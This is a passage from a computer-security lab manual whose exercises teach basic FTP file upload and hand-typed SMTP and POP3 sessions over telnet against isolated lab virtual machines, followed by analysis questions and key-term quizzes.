Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Lab Steps
Step 1: Start the Windows 2003 Server and Windows XP Professional machines. Only log on
to the Windows XP machine.
To log on to the Windows XP PC:
1. At the Login screen, click the Admin icon.
2. In the password text box, type password and press enter.
Step 2: Create a simple web page.
To create this web page, you are going to use HTML. HTML is not a programming language, but
rather a methodology that tells a web browser how to display text on the screen. HTML is composed
of tags that surround the text that the tag affects. All HTML files are saved with either an .htm
or .html file extension. In this exercise, you will create a web page with the message “This page is
under construction” using HTML. Pay careful attention to how the tags are written, as HTML is very
unforgiving of spelling errors, and will either display your web page incorrectly or not display it at all if
you misspell tags.
To create a simple web page using the Windows XP PC:
1. Choose Start | Run.
2. In the Open field, type notepad and press enter.
3. In Notepad, type the following text:
<html>
<head><title>Under construction</title>
<body><h1> This page is under construction. </h1>
<p>More information will be posted here </p></body>
</html>
4. In Notepad, choose File | Save.
5. In the File Name combo box, type default.htm.
6. In the Save In combo box, select My Documents from the drop-down list.
7. In the Save As Type combo box, select All Files from the drop-down list.
8. Click Save.
➜ Note
The file must be saved as default.htm in order to be displayed by a web browser without having
to specify the name of the page. If the file is saved as anything else, viewing the web page in a
browser (see Step 5) will not work correctly.
9. Close Notepad by clicking × in the upper-right corner.
ch03.indd 62 11/17/10 10:40:57 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Lab 3.1w: Windows FTP Communication (FTP-HTTP) 63
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Step 3: View the web page in Internet Explorer.
1. Choose Start | My Documents.
2. In the My Documents window, double-click default.
You will see the web page that you will be uploading to the web server.
3. In the Internet Explorer window, click × to close the window
4. In the My Documents window, click × to close the window.
Step 4: Upload the web page.
To upload the web page using Windows XP Professional:
1. Choose Start | Run.
2. In the Open field, type cmd and click OK.
3. At the command line, type cd c:\documents and settings\admin\my documents and press enter.
➜ Note
If your command prompt is C:\Documents and Settings\Admin>, then you can just type cd /my
documents at the prompt. This version uses a forward slash, not a backward slash.
4. At the command line, type ftp 192.168.100.102 and press enter.
5. At User (192.168.100.102:none), type administrator and press enter.
6. At the password prompt, type adminpass and press enter.
Before you upload the file, take a look at some of the commands in FTP by following steps 7 and 8.
7. At the ftp prompt, type help and press enter.
Observe the list of commands.a.
To find out more about an individual command, insert a question mark in front of the b. command.
8. At the ftp prompt, type ? ls and press enter.
What does typing the ls command at the ftp prompt do? After you use ? at the ftp prompt, a. which command do you use to change the local working directory?
Which command is used to upload a file?b.
ch03.indd 63 11/17/10 10:40:57 AM
Chapter 3: Network Applications64
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Upload the web page now, as described in steps 9 and 10.
9. At the ftp prompt, type send default.htm and press enter. Refer to Figure 3-1.
10. At the ftp prompt, type bye and press enter to exit the FTP session.
Step 5: Use Internet Explorer to view the web page from the web server.
1. Choose Start | Internet Explorer.
2. In the Internet Explorer address bar, type http://192.168.100.102 and press enter. Refer to Figure 3-2.
You should now see the web page that was just uploaded.a.
What might an attacker use the FTP program and FTP server to do?b.
Step 6: Log off from the Windows XP Professional PC.
At the Windows XP PC:
1. Choose Start | Log Off.
2. At the Log Off Windows screen, click Log Off.
Figure 3-1 Uploading a web page with the ftp command in Windows
ch03.indd 64 11/17/10 10:40:57 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Lab 3.1l: Linux FTP Communication (FTP-HTTP) 65
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
S 30 minutes
Lab 3.1l: Linux FTP Communication (FTP-HTTP)
Materials and Setup You will need the following:
Metasploitable•
BackTrack•
Lab Steps at a Glance
Step 1: Start the BackTrack and Metasploitable PCs. Only log on to the BackTrack PC.
Step 2: Create a simple web page.
Step 3: View the web page in Firefox.
Step 4: Upload the web page.
Figure 3-2 Viewing the web page over the network
ch03.indd 65 11/17/10 10:40:58 AM
Chapter 3: Network Applications66
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Step 5: Open Firefox and view the web page from the web server.
Step 6: Log off from the BackTrack PC.
Lab Steps
Step 1: Start the BackTrack and Metasploitable PCs. Only log on to the BackTrack PC.
To log on to the BackTrack PC:
1. At the login prompt, type root and press enter.
2. At the password prompt, type toor and press enter.
➜ Note
You will not see any characters as you type the password.
Step 2: Create a simple web page.
To create this web page, you are going to use HTML. HTML is not a programming language, but rather
a language that tells a web browser how to display text on the screen. HTML is composed of tags that
surround the text that the tag affects. All HTML files are saved as either .htm or .html files. In this
exercise, you will create a web page that does not have a title and displays the sentence “This page is
under construction.” Pay careful attention to how the tags are written, as HTML is very unforgiving of
spelling errors, and will either display your web page incorrectly or not display it at all if you misspell
tags.
To launch the GUI, using the BackTrack PC:
1. On the command line, type startx and press enter.
2. Choose K Menu | Run Command. Refer to Figure 3-3.
3. In the Command combo box, type kate and press enter. (Kate is the KDE Advanced Text Editor.)
4. When prompted, click New Session.
5. In Kate, type the following:
<html>
<head><title>Under construction</title>
<body><h1> This page is under construction. </h1>
<p>More information will be posted here </p></body>
</html>
ch03.indd 66 11/17/10 10:40:58 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Lab 3.1l: Linux FTP Communication (FTP-HTTP) 67
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
6. Choose File | Save.
7. In Location, type index.html and press enter.
➜ Note
The file (which is the name of the home page) must be saved as index.html in order to be
displayed by a web browser over the Internet without having to specify the name of the page. If
the file is saved as anything else, then Step 5 that follows will not work correctly.
8. Close Kate.
Figure 3-3 Using the Run Command utility
ch03.indd 67 11/17/10 10:40:58 AM
Chapter 3: Network Applications68
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Step 3: View the web page in Firefox.
1. In the taskbar, click the icon for the Firefox web browser.
2. In Firefox, choose File | Open File.
3. Select index.html and click Open.
You will see the web page that you will be uploading to the web server.
4. Close Firefox.
Step 4: Upload the web page.
1. On the BackTrack taskbar, click the Konsole icon.
✔ Tip
You can see the names of the icons in the taskbar by hovering the mouse over them.
2. At the command line, type ftp 192.168.100.202 and press enter.
3. At Name (192.168.100.202:root), type user and press enter.
4. At the password prompt, type user and press enter.
Before you create a directory and upload the file, take a look at some of the commands in FTP by following steps 5 to 7.
5. At the ftp prompt, type help and press enter.
6. Observe the list of commands.
✔ Tip
To find out more about an individual ftp command, use ? in front of the command.
7. At the ftp prompt, type ? ls and press enter.
What does typing the a. ls command at the ftp prompt do?
After you use ? at the ftp prompt, which command do you use to change the local working b. directory?
Which command is used to upload a file?c.
Now, create a directory and upload your web page, as described in steps 8 and 11.
ch03.indd 68 11/17/10 10:40:59 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Lab 3.1l: Linux FTP Communication (FTP-HTTP) 69
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
8. At the ftp prompt, type mkdir public_html and press enter.
9. At the ftp prompt, type cd public_html.
10. At the ftp prompt, type send index.html and press enter.
11. At the ftp prompt, type bye and press enter to exit the FTP session.
Step 5: Open Firefox and view the web page from the web server.
1. In the taskbar, click the icon for the Firefox web browser.
2. In the address bar, type http://192.168.100.202/~user/ and press enter.
You should now see the web page that was just uploaded.
Step 6: Log off from the BackTrack PC.
1. Choose K Menu | Log Out.
2. Click OK.
3. At the command line, type logout and press enter.
Lab 3.1 Analysis Questions The following questions apply to the labs in this section:
1. What is FTP used for?
__________________________________________________________________________
2. As the administrator for a web server, you must often connect to the server via FTP. Today you are working from home and must connect to the server, whose address is 100.10.10.1.
What are the steps you would take to connect to the server?
__________________________________________________________________________
3. You have just successfully connected to a remote FTP server. You need to get a listing of the files in the current directory. What is the command to display a list of files and directories in
the current directory?
__________________________________________________________________________
4. You have just been hired as the webmaster for www.yoursite.com. You need to upload the company’s new home page to the server via FTP. You have just connected to the server via
FTP. How would you go about sending the file homepage.html to the server?
__________________________________________________________________________
ch03.indd 69 11/17/10 10:40:59 AM
Chapter 3: Network Applications70
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
5. You need to download the financial report Finance_Report.txt from your company’s server. You have connected to the server via FTP and have navigated to the appropriate directory
where the file is located. How would you go about downloading the file to your local computer?
__________________________________________________________________________
Lab 3.1 Key Terms Quiz Use these key terms from the labs to complete the sentences that follow:
extension
File Transfer Protocol (FTP)
Hypertext Markup Language (HTML)
Hypertext Transfer Protocol (HTTP)
send
tags
upload
1. A protocol used for uploading and downloading files is ____________________.
2. ____________________ is composed of tags that tell a web browser how to display a web page.
3. HTML markup ________________ are used to describe how sections of text should be handled.
4. Web pages must be saved with the ____________________ of .htm or .html.
5. The FTP command ____________________ would be used to upload your web pages to the server.
Follow-Up Lab Lab 8.3: Using Secure Copy (SCP)• SCP will encrypt file transfer traffic.
Suggested Experiment Connect to the FTP server and test some of the other commands listed in the help section.
References FTP•
RFC 959• http://www.faqs.org/rfcs/rfc959.html
HTML• www.w3.org/html/wg/
ch03.indd 70 11/17/10 10:40:59 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Lab 3.2m: Windows E-Mail: SMTP and POP3 71
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
HTTP•
RFC 2616• http://www.faqs.org/rfcs/rfc2616.html
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 17
Lab 3.2: E-Mail Protocols: SMTP and POP3 Simple Mail Transfer Protocol (SMTP) is used for sending e-mail messages between servers and operates
on TCP port 25. Messages sent are retrieved by using either Post Office Protocol version 3 (POP3) or
Internet Message Access Protocol version 4 (IMAPv4). POP3 operates on TCP port 110 and IMAP operates
on TCP port 143. An e-mail client is usually configured to work with these protocols and make it easier to
manage e-mail.
It is important to understand how e-mail works since it is widely used and often exploited via spoofing
(a method used by crackers to impersonate a packet source) and sending virus-infected attachments.
In this lab you will use the program Telnet to connect to an SMTP server and send an e-mail. You
will then use Telnet to connect to the POP3 server to retrieve the e-mail. Telnet is used because it
performs a simple action. It opens a TCP connection for user interaction. When a user types any text,
it is sent through the TCP connection, and any message sent by the remote machine is displayed to the
user.
Learning Objectives After completing this lab, you will be able to
Telnet via the Linux command line.•
Send e-mail via the Linux command line.•
Connect to a POP3 port and read e-mail on a Linux machine.•
S 30 minutes
Lab 3.2m: Windows E-Mail: SMTP and POP3
Materials and Setup You will need the following:
Windows XP Professional•
Metasploitable•
ch03.indd 71 11/17/10 10:41:00 AM
Chapter 3: Network Applications72
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Lab Steps at a Glance
Step 1: Start the Windows XP Professional and Metasploitable PCs. Only log on to the Windows
XP machine.
Step 2: Telnet to the mail server.
Step 3: Send e-mail via the command line.
Step 4: Connect to the POP3 port and read the e-mail.
Step 5: Log off from the Windows XP PC.
Lab Steps
Step 1: Start the Windows XP Professional and Metasploitable PCs. Only log on to the
Windows XP machine.
To log on to the Windows XP Professional PC:
1. At the Login screen, click the Admin icon.
2. In the password text box, type password and press enter.
Step 2: Telnet to the mail server.
Normally, you connect to a mail server with a mail client. However, a mail client hides much of the
irrelevant communication from you. You will be using Telnet to connect to the mail server so that you
can observe how SMTP is used to send mail.
To telnet to the mail server from the Windows XP machine:
1. Choose Start | Run.
2. In the Open field, type cmd and press enter.
3. Type telnet and press enter.
4. At the telnet prompt, type set localecho and press enter.
5. At the telnet prompt, type open 192.168.100.202 25 and press enter.
➜ Note
The number 25 is a port number and should be typed after a space.
ch03.indd 72 11/17/10 10:41:00 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Lab 3.2m: Windows E-Mail: SMTP and POP3 73
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Wait a few seconds for the connection to be established.a.
Observe any messages.b.
What is the purpose of typing 25 at the end of the command?c.
➜ Note
All commands to the SMTP server start with a four-character word. The server is designed for
another computer to talk to it and does not accept backspace characters. If you make a mistake,
press enter, wait for the error message (which will start with a number between 500 and 599),
and then retype the line in which you made a mistake.
Also, note that the prompt is a flashing cursor.
Step 3: Send e-mail via the command line.
You are going to use SMTP commands to send an e-mail message from the Windows XP Professional
machine to the Metasploitable machine.
To send e-mail via the command line:
1. At the prompt, type helo localhost and press enter.
The helo command is used for the client to say “hello” to the server and initiate communications. The server, upon receipt of this “hello,” inserts this information into the
header of the e-mail that is delivered to the user. The data command is used for typing the
body of your email.
2. At the prompt, type mail from: [email protected] and press enter.
3. At the prompt, type rcpt to: [email protected] and press enter.
4. At the prompt, type data and press enter.
5. Type the following (press enter after you type each line):
From: root To: labuser
Subject: test message from (your name)
6. Press enter to create a blank line. The blank line is used to separate the heading of the e-mail from the body of the e-mail.
7. Type a message that is at least three lines long. When you are done with your message, you must type a period on a line by itself. So, for example, the message might look like the
following (refer to Figure 3-4):
I am writing this e-mail to you from the command line.
I think it is pretty cool but the Graphical User Interface is easier.
Talk to you later.
.
ch03.indd 73 11/17/10 10:41:00 AM
Chapter 3: Network Applications74
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
➜ Note
The period on the last line by itself is mandatory. This is how SMTP will know that your
message is finished.
What message did you get from the mail server?a.
Can you think of a way that this process can be exploited?b.
8. Type quit and press enter.
9. Again, type quit and press enter.
In this section, you sent a message to the account labuser. You can now check whether this mail
message was delivered successfully. If you wanted to, you could view this mail message with any
standard mail client. For now, you will connect to the POP3 server (running on port 110 of your server)
and view that mail message.
Step 4: Connect to the POP3 port and read the e-mail.
1. Type telnet at the command line and press enter.
2. In Telnet, type open 192.168.100.202 110 and press enter.
3. At the command line, type user labuser and press enter.
What is the message you get in response?
Figure 3-4 Using Telnet and SMTP to send an e-mail
ch03.indd 74 11/17/10 10:41:01 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Lab 3.2m: Windows E-Mail: SMTP and POP3 75
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
➜ Note
You may need to wait at least 45 seconds after pressing enter to see the message.
4. At the command line, type pass password and press enter.
What message did you get?
5. At the command line, type list and press enter.
What message did you get?a.
What do you think the purpose of this command is?b.
6. At the command line, type retr 1 and press enter. Refer to Figure 3-5.
What significance, if any, do you think that the number 1 has in the command?
7. At the command line, type dele 1 and press enter.
8. Exit the POP session. At the prompt, type quit and press enter.
9. Again, type quit and press enter.
What message did you get?
Figure 3-5 Using Telnet and POP3 to retrieve e-mail
ch03.indd 75 11/17/10 10:41:01 AM
Chapter 3: Network Applications76
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Step 5: Log off from the Windows XP PC.
At the Windows XP PC:
1. Choose Start | Log Off.
2. At the Log Off Windows screen, click Log Off.
S 25 minutes
Lab 3.2l: Linux E-Mail: SMTP and POP3
Materials and Setup You will need the following:
Metasploitable•
BackTrack•
Lab Steps at a Glance
Step 1: Start the BackTrack and Metasploitable PCs. Only log on to the BackTrack PC.
Step 2: Telnet to the mail server.
Step 3: Send e-mail via the command line.
Step 4: Connect to the POP3 port and read the e-mail using the BackTrack machine.
Step 5: Log off from the BackTrack PC.
Lab Steps
Step 1: Start the BackTrack and Metasploitable PCs. Only log on to the BackTrack PC.
To log on to the BackTrack PC:
1. At the login prompt, type root and press enter.
2. At the password prompt, type toor and press enter.
➜ Note
You will not see any characters as you type in the password.
ch03.indd 76 11/17/10 10:41:01 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Lab 3.2l: Linux E-Mail: SMTP and POP3 77
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Step 2: Telnet to the mail server.
Normally, you connect to a mail server with a mail client. However, a mail client hides much of the
irrelevant communication from you. You will be using Telnet to connect to the mail server so that you
can observe how the SMTP protocol is used to send mail.
To telnet to the mail server from the BackTrack machine:
1. In the Konsole window, type telnet and press enter.
2. At the telnet prompt, type open 192.168.100.202 25 and press enter.
➜ Note
The number 25 is a port number and should be typed after a space.
Wait a few seconds for the connection to be established.a.
Observe any messages.b.
What is the purpose of typing 25 at the end of the command? c.
➜ Note
All commands to the SMTP server start with a four-character word. The server is designed for
another computer to talk to it and does not accept backspace characters. If you make a mistake,
press enter, wait for the error message (which will start with a number between 500 and 599),
and then retype the line in which you made a mistake.
Also, note that the prompt is a flashing cursor.
Step 3: Send e-mail via the command line.
You are going to use SMTP commands to send an e-mail message from the BackTrack machine to the
Metasploitable machine.
To send e-mail via the command line using the BackTrack machine:
1. At the prompt, type helo localhost and press enter.
The helo command is used for the client to say “hello” to the server and initiate communications. The server, upon receipt of this “hello,” inserts this information into the
header of the e-mail that is delivered to the user. The data command is used for typing the
body of your email.
2. At the prompt, type mail from: [email protected] and press enter.
3. At the prompt, type rcpt to: [email protected] and press enter.
ch03.indd 77 11/17/10 10:41:02 AM
Chapter 3: Network Applications78
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
4. At the prompt, type data and press enter.
5. Type the following (press enter after you type each line):
From: root To: labuser
Subject: Test message from (your name)
6. Press enter to create a blank line. The blank line is used to separate the heading of the e-mail from the body of the e-mail.
7. Type a message that is at least three lines long. When you are done with your message, you must type a period on a line by itself. So, for example, the message might look like the
following (refer to Figure 3-6):
I am writing this e-mail to you from the command line.
I think it is pretty cool but the Graphical User Interface is easier.
Talk to you later.
.
➜ Note
The period on the last line by itself is mandatory. This is how SMTP will know that your
message is finished.
What message did you get from the mail server?a.
Can you think of a way that this process can be exploited?b.
8. Type quit and press enter.
Figure 3-6 Using Telnet and SMTP to send an e-mail
ch03.indd 78 11/17/10 10:41:02 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Lab 3.2l: Linux E-Mail: SMTP and POP3 79
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
In this section, you sent a message to the account labuser. You can now check whether this mail
message was delivered successfully. If you wanted to, you could view this mail message with any
standard mail client. For now, you will connect to the POP3 server (running on port 110 of your server)
and view that mail message.
Step 4: Connect to the POP3 port and read the e-mail using the BackTrack machine.
1. Type telnet at the command line and press enter.
2. At the telnet prompt, type open 192.168.100.202 110 and press enter.
3. At the command line, type user labuser and press enter.
What is the message you get in response?
➜ Note
You need to wait at least 45 seconds after pressing enter to see the message.
4. At the command line, type pass password and press enter.
What message did you get?
5. At the command line, type list and press enter. Refer to Figure 3-7.
What message did you get?a.
What do you think the purpose of this command is?b.
Figure 3-7 Using Telnet and POP3 to list e-mails
ch03.indd 79 11/17/10 10:41:02 AM
Chapter 3: Network Applications80
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
6. At the command line, type retr 1 and press enter. Refer to Figure 3-8.
What significance, if any, do you think that the number 1 has in the command?a.
How can you be sure that this e-mail came from who it says it came from?b.
You will now delete the message.
7. At the command line, type dele 1 and press enter.
8. At the command line, type quit and press enter.
What message did you get?
Step 5: Log off the BackTrack PC.
At the BackTrack PC command line, type exit and press enter.
Lab 3.2 Analysis Questions The following questions apply to the labs in this section:
1. What are the SMTP and POP3 protocols used for?
2. The data command performs what function when sent to the SMTP server?
Figure 3-8 Using Telnet and POP3 to retrieve an e-mail
ch03.indd 80 11/17/10 10:41:03 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Lab 3.2 Key Terms Quiz 81
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
3. What do you use the retr command for?
4. All commands to the SMTP server start with a word that is how many characters long?
5. Assume a message has been sent to you. At the telnet prompt, what do you type to connect to the mail sever on the appropriate port?
Lab 3.2 Key Terms Quiz data
helo
Internet Message Access Protocol version 4 (IMAPv4)
Post Office Protocol version 3 (POP3)
Simple Mail Transfer Protocol (SMTP)
Telnet
1. ____________________ can be used to connect to remote systems to check e-mail messages.
2. POP3 and ____________________ are protocols used for retrieving e-mail.
Follow-Up Labs Lab 5.3: E-Mail System Exploits• Now that you know how e-mail works, find out how it can be exploited.
Lab 8.1: Using GPG to Encrypt and Sign E-mail• Now that you know how e-mail works, find out how it can be sent securely.
Suggested Experiment If you have an e-mail account that uses POP3 and SMTP, see if you can send and retrieve e-mail from the
command line.
References IMAPv4•
RFC 2060: IMAPv4• http://www.faqs.org/rfcs/rfc2060.html
ch03.indd 81 11/17/10 10:41:03 AM
Chapter 3: Network Applications82
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
POP3•
RFC 1939: POP3• http://www.faqs.org/rfcs/rfc1939.html
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 16
SMTP•
RFC 821: SMTP• http://www.faqs.org/rfcs/rfc821.html
Text Message Standards•
RFC 822: Text Message• http://www.faqs.org/rfcs/rfc821.html
ch03.indd 82 11/17/10 10:41:03 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4 / Blind Folio 83
Vulnerabilities and Threats: How Can Systems Be Compromised?
If you know the enemy and know yourself, you need not fear the
result of a hundred battles. If you know yourself but not the enemy,
for every victory gained you will also suffer a defeat. If you know
neither the enemy nor yourself, you will succumb in every battle.
–Sun Tzu
Components such as servers, workstations, cables, hubs, switches, routers, and firewalls are all significant for maintaining a network.
However, despite the importance of equipment in sustaining a
network system, the real value of our network does not exist in
the equipment, but in its data. In most cases, the data is much
more expensive to replace than the network equipment.
The goal of network security is to protect the data, since it is
the most important aspect of our network. Network security aims
to guard the characteristics of data, that is, the confidentiality,
integrity, and availability of that data. Any way that these
characteristics are open to compromise can be considered a
vulnerability. A threat is any possible danger that might exploit a
vulnerability. Data can exist in three states: storage, transmission,
and processing. The data can be vulnerable in different ways in
ParT II
ch04.indd 83 11/18/10 2:38:23 PM
84
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 /
each of these states. For instance, data may be more vulnerable as it passes
